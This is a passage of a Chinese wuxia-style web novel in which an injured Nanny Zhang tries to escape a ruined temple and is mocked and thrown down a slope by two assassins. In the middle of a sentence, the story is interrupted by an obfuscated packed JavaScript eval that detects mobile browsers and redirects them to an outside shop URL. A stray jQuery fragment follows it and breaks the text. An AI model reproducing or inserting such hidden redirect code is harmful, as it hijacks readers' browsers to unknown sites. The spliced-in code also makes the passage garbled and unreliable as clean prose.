“唔唔。”全身都疼的张嬷嬷终于醒来,看了周围一圈,不是醉仙楼,也不是醉仙楼附近的商铺。
断壁残垣,遍地是蜘蛛网,地上有着不知道是什么东西的一摊泥。
若是深吸一口气,就会被灰尘和臭味给熏晕过去。
张嬷嬷敛住呼吸,在旁边看见了一个锈迹斑斑的供桌。
她这是被带到了一个破庙里!
天啊,她只知道几个颇为灵验的寺庙,对哪儿有破庙这件事可以说是完全不清楚。
她不知道这间破庙是在哪儿,也许是在京城,也许是在郊外,或是别的什么地方。
张嬷嬷眨了眨眼,身体上的阵阵刺痛不断传来。
实在是太痛了!
从楼上摔下来,没有什么可垫着的,还有一个血呼啦滋的人覆在身上,以至于砸到地上时变得更痛。
张嬷嬷皱起眉,鼻尖仿佛能闻到浓厚的血腥味。
“呕哕。”头一歪,张嬷嬷呕了出来。
可眼一睁,一坨散发着恶臭的东西就在眼前。
该死的,怎么会有一坨屎!
“啊!”张嬷嬷往后一倒,脊背砸在坚硬的地面上,这给她的伤口带来了重重的一击。
张嬷嬷疼得脸都皱起,心里已经在疯狂地辱骂一切。
在她来到醉仙楼之前,一切都还是那样的平静。
但在醉仙楼见到那个黑衣人后,一切都跑偏了。
她就像是一条落水狗一样在别人的驱赶中仓惶逃走。
可悲的是,她并没有成功逃走。
在诅咒完那个把她诱骗到醉仙楼的庆王后,张嬷嬷挣扎着起身。
即使这很痛苦,但总不能坐以待毙。
辛运的是,这里没有看守她的人。
也许是见她一直昏迷不醒,觉得没有看守的必要。
被绳索捆住的双手抓在坍塌的石柱上,带着她的整个身体往上挪。
“嘶。”张嬷嬷咬着牙,真切地感受到自己的无力。
她的腿断了。
张嬷嬷看着自己被简单处理过的左腿,无法弯曲,只能拖着走,但真这么干的话,她的脚趾说不定会被磨平。
“呼。”张嬷嬷深呼吸一次,将不断上涌的疼痛感往下压。
可她的脸却再度皱起,好吧,还是很疼,就算是故意不去想,实际上也根本无法忽视。
张嬷嬷扫视着周围一圈,仔细瞧着有没有什么不引人注意的出口。
趁现在没人从大门出去?不,这也太愚蠢了些。
一出去,肯定能撞上,而她现在腿不行,跑都跑不掉。
张嬷嬷慢慢地挪动着,瞧准了一个缝隙,够隐蔽,但她不确定能不能顺利通过。
拨开破烂的灰布,推开碍事的柱子。
一个不大不小的,刚好能允许她通过的豁口!
笑容终于在张嬷嬷的脸上浮现,甚至,她已经想好之后要怎么报复庆王了。
那是可恶的,不仅放她鸽子,还派人来杀她的庆王应得的。
从报复的快感中清醒过来,张嬷嬷小心翼翼地从豁口爬了出去。
伤口的疼痛还在反复刺激着她,但希望就在前方。
突然,一双黑布鞋出现在她的眼前。
张嬷嬷动作一滞,往前,往后,似乎都不是好路。
“哈哈,我都说了不用着急进去,反正她也跑不出去。”那人嘲讽地笑着,声音十分刺耳,“看着她演的这一出要跑却又跑不出的戏码,难道不好笑吗?”
说完,那人还推搡着旁边的人,开始点评起张嬷嬷的表现。
“一点都不谨慎,吱哇乱叫半天,也不怕被人发现。”
“而且她的动作也太慢了些,磨磨蹭蹭半天才找到出路。”
该死的杀手把她抓到这儿来,而她辛辛苦苦地逃跑;
明明看见了她的打算,却不早制止她,反而来嘲笑她!
“啊啊啊!你们两个贱人,还不快把我拉起来!”张嬷嬷怒极,抓起手边的石头就往那两人身上扔。
诶,还敢反抗!
这老婆婆哪来的胆子敢使唤他们?
玄鸦往旁边退了一步,躲开本来就没扔多远的石子。
“她现在还敢吆喝咱们,霜刃你太手下留情了。”
玄鸦手搭在霜刃肩上,坏笑着怂恿。
霜刃往旁边一撤,让玄鸦搭了个踉跄。
没等玄鸦再说话,霜刃抓住张嬷嬷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775464|208049||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的后领,将其提溜起来。
正好对上一脸愤恨的张嬷嬷,“快点给我放下,你们这群无所事事的蠢货!”
即使已经完全看见对面是两个健壮的黑衣人,张嬷嬷依旧不依不饶。
玄鸦啧了一声,朝霜刃挑了挑眉。
看,都这个时候了,张嬷嬷话还是很多。
霜刃面无表情,抓着张嬷嬷的手一挥,张嬷嬷就飞了出去。
砰的一声,张嬷嬷砸在地上,并翻滚起来,直到滚至长坡的底部,她才终于停下来。
“啊。”这两个疯子。
张嬷嬷闻到了自己身上的血腥味,听到了自己骨头再次碎裂的声音,感受到了从额头上缓缓往下流的粘腻的鲜血。
她觉得自己已经无法呼吸,从里到外地疼。
伤成这样,说不定那黑衣人还要继续折磨她,她可能活不了多久。
“呜呼,干得漂亮,雾刃。”玄鸦高兴地鼓掌,夸张地赞扬道。
雾刃没什么表情,只看了他一眼,“她还不能死,还有用。”
玄鸦捂住心脏,面容痛苦地往一旁退,“你,你怎么能这么想我呢?”
“我又不是什么杀人狂魔。”
“呜呜呜。”玄鸦用手捂住脸,假装自己因被雾刃打击到而开始哭泣。
就这一场戏,天天都要上演。
雾刃觉得玄鸦不必来做杀手,去戏曲班子,保证让其演个够。
唔,其实也不行,玄鸦要真去了戏曲班子,第二天就因为喜怒无常,把戏班里的人都杀掉。
然后,在杀完几个戏班后,就被朝廷抓获,就地格杀。
雾刃没给玄鸦任何评价,只说了句,“张嬷嬷要跑了。”
玄鸦抬头一看,嘿,身残志坚的张嬷嬷又起来了,找到个木板子就要划走。
就张嬷嬷现在的状况,划也划不到哪儿去。
他们只需要慢慢走过去,就能看到张嬷嬷垂死挣扎的样子。
玄鸦眼睛一亮,嘴角勾起一抹残忍的笑容。
从余光里瞥了一眼,雾刃就知道玄鸦在想什么,他提醒道:“她流血流得太多,就会死。”
“上头要她,等事情结束后,要怎么做随你便。”